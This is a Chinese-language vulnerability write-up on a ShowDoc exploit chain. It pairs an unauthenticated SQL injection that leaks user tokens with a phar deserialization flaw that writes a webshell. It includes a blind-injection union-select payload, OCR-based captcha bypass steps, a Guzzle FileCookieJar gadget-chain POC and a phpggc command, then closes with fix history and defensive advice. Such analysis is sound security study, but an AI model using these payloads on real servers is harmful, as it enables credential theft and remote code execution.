ShowDoc SQL注入+反序列化漏洞分析
字数 1452 2025-08-24 23:51:09

ShowDoc SQL注入+反序列化漏洞分析教学文档

漏洞概述

ShowDoc文档系统存在两个关键漏洞组合:

  1. 前台SQL注入漏洞:攻击者可利用该漏洞获取用户token
  2. 后台反序列化漏洞:结合获取的token可写入WebShell,最终获取服务器权限

这两个漏洞组合形成了完整的攻击链,危害严重。

第一部分:SQL注入漏洞分析

1. ShowDoc传参机制

ShowDoc基于ThinkPHP框架开发,使用I()函数处理参数输入:

$uid = I("uid/d");        // 强制转为int
$item_domain = I("item_domain/s"); // 强制转为string
$refer_url = I('refer_url');      // 强制转为string

I()函数会对参数进行类型转换:

  • /d:强制转为整数
  • /s:强制转为字符串
  • 无修饰符:默认转为字符串

2. SQL执行方式分析

ShowDoc中主要有两种SQL执行方式:

方式1(存在风险)

$item = D("Item")->where("item_id = '$item_id' ")->find();
  • 直接拼接SQL语句
  • 参数未经过预编译处理

方式2(安全)

$member = D("User")->where(" username = '%s' ", array($value))->find();
  • 使用占位符和参数数组
  • 参数会经过escapeString处理(SQLite中单引号转义为双引号)

3. 权限鉴定机制

权限鉴定通过checkLogin方法实现:

  • 存在session:正常返回
  • 无session:进行权限鉴定
    • 通过:正常返回
    • 不通过:根据redirect参数决定是否退出

无需鉴权的三种情况:

  1. 路由函数中没有checkLogin()
  2. 路由函数中使用checkLogin(false)
  3. 目标代码在checkLogin()执行之前

4. SQL注入点定位条件

寻找有效注入点需满足:

  1. 权限鉴定为checkLogin(false)或未执行checkLogin()
  2. 参数传入为I("xxx/s")I("xxx")(字符串类型)
  3. 参数直接拼接放入where方法

5. 实际注入点分析

ItemController.class.php中找到注入点:

$password = I("password");
$item = D("Item")->where("item_id = '$item_id' ")->find();
if ($password && $item['password'] == $password) {
    // 成功逻辑
} else {
    // 失败逻辑
}

利用方式:

  • 构造联合查询,将布尔盲注结果放在Item表的password字段
  • 通过判断逻辑差异实现盲注

Payload示例

1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),1,1)='x',7,8,9,10,11,12--

6. 验证码绕过技术

注入点需要验证码校验,可通过OCR技术绕过:

  1. 使用本地OCR服务(如ddddocr)
  2. 使用OCR API服务(如ocr_api_server)

优化方案:

  • 预先生成大量验证码并识别
  • 建立captcha_id与captcha的映射表
  • 注入时直接使用预存的验证码

第二部分:反序列化漏洞分析

1. 反序列化触发点

IndexController.class.php中的fopen调用可触发SSRF:

private function getRemoteFile($url, $timeout = 10) {
    $opts = array(
        'http'=>array(
            'method'=>"GET",
            'timeout'=>$timeout,
        )
    );
    $context = stream_context_create($opts);
    return fopen($url, 'rb', false, $context);
}

利用Phar协议结合SSRF触发反序列化。

2. 文件上传路径获取

文件上传后通过sign参数访问:

/server/index.php?s=/api/attachment/visitFile&sign=9be3419f8e11aa97e21b21669fea3885

响应中会暴露实际文件路径。

3. 反序列化利用链

使用guzzlehttp组件的FileCookieJar类:

class FileCookieJar extends CookieJar {
    private $filename;
    
    public function __destruct() {
        $this->save($this->filename);
    }
    
    public function save($filename) {
        // 将$cookie内容写入$filename
        file_put_contents($filename, $jsonStr, LOCK_EX);
    }
}

利用链构造:

  1. 创建恶意的SetCookie对象
  2. 通过CookieJar设置cookie
  3. 通过FileCookieJar指定写入路径

4. 漏洞利用POC

手动构造POC

<?php
namespace GuzzleHttp\Cookie {
    class SetCookie {
        private $data = ['poc' => '<?php echo \'success\';?>'];
    }
    
    class CookieJar {
        private $cookies = [new SetCookie()];
    }
    
    class FileCookieJar extends CookieJar {
        private $filename = "/var/www/html/Public/Uploads/shell.php";
    }
}

namespace {
    $payload = new GuzzleHttp\Cookie\FileCookieJar();
    $phar = new Phar('phar.phar');
    $phar->setMetadata($payload);
    $phar->setStub('GIF89a<?php __HALT_COMPILER();?>');
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

使用phpggc工具

./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png

漏洞修复情况

  • 初始修复(3.2.5版本):仅修复了SSRF漏洞
  • 完整修复(后续版本):修复了SQL注入漏洞

防御建议

  1. 对所有用户输入进行严格过滤和类型检查
  2. 使用预编译语句而非字符串拼接
  3. 限制文件上传路径和类型
  4. 禁用不必要的协议(如phar)
  5. 及时更新到最新版本

总结

该漏洞组合展示了从SQL注入到反序列化RCE的完整攻击链,强调了:

  1. 输入验证的重要性
  2. 最小权限原则的必要性
  3. 安全开发实践的关键性
  4. 及时更新的必要性
ShowDoc SQL注入+反序列化漏洞分析教学文档 漏洞概述 ShowDoc文档系统存在两个关键漏洞组合: 前台SQL注入漏洞:攻击者可利用该漏洞获取用户token 后台反序列化漏洞:结合获取的token可写入WebShell,最终获取服务器权限 这两个漏洞组合形成了完整的攻击链,危害严重。 第一部分:SQL注入漏洞分析 1. ShowDoc传参机制 ShowDoc基于ThinkPHP框架开发,使用 I() 函数处理参数输入: I() 函数会对参数进行类型转换: /d :强制转为整数 /s :强制转为字符串 无修饰符:默认转为字符串 2. SQL执行方式分析 ShowDoc中主要有两种SQL执行方式: 方式1(存在风险) : 直接拼接SQL语句 参数未经过预编译处理 方式2(安全) : 使用占位符和参数数组 参数会经过 escapeString 处理(SQLite中单引号转义为双引号) 3. 权限鉴定机制 权限鉴定通过 checkLogin 方法实现: 存在session:正常返回 无session:进行权限鉴定 通过:正常返回 不通过:根据 redirect 参数决定是否退出 无需鉴权的三种情况: 路由函数中没有 checkLogin() 路由函数中使用 checkLogin(false) 目标代码在 checkLogin() 执行之前 4. SQL注入点定位条件 寻找有效注入点需满足: 权限鉴定为 checkLogin(false) 或未执行 checkLogin() 参数传入为 I("xxx/s") 或 I("xxx") (字符串类型) 参数直接拼接放入 where 方法 5. 实际注入点分析 在 ItemController.class.php 中找到注入点: 利用方式: 构造联合查询,将布尔盲注结果放在Item表的password字段 通过判断逻辑差异实现盲注 Payload示例 : 6. 验证码绕过技术 注入点需要验证码校验,可通过OCR技术绕过: 使用本地OCR服务(如ddddocr) 使用OCR API服务(如ocr_ api_ server) 优化方案: 预先生成大量验证码并识别 建立captcha_ id与captcha的映射表 注入时直接使用预存的验证码 第二部分:反序列化漏洞分析 1. 反序列化触发点 在 IndexController.class.php 中的 fopen 调用可触发SSRF: 利用Phar协议结合SSRF触发反序列化。 2. 文件上传路径获取 文件上传后通过sign参数访问: 响应中会暴露实际文件路径。 3. 反序列化利用链 使用guzzlehttp组件的 FileCookieJar 类: 利用链构造: 创建恶意的 SetCookie 对象 通过 CookieJar 设置cookie 通过 FileCookieJar 指定写入路径 4. 漏洞利用POC 手动构造POC : 使用phpggc工具 : 漏洞修复情况 初始修复(3.2.5版本):仅修复了SSRF漏洞 完整修复(后续版本):修复了SQL注入漏洞 防御建议 对所有用户输入进行严格过滤和类型检查 使用预编译语句而非字符串拼接 限制文件上传路径和类型 禁用不必要的协议(如phar) 及时更新到最新版本 总结 该漏洞组合展示了从SQL注入到反序列化RCE的完整攻击链,强调了: 输入验证的重要性 最小权限原则的必要性 安全开发实践的关键性 及时更新的必要性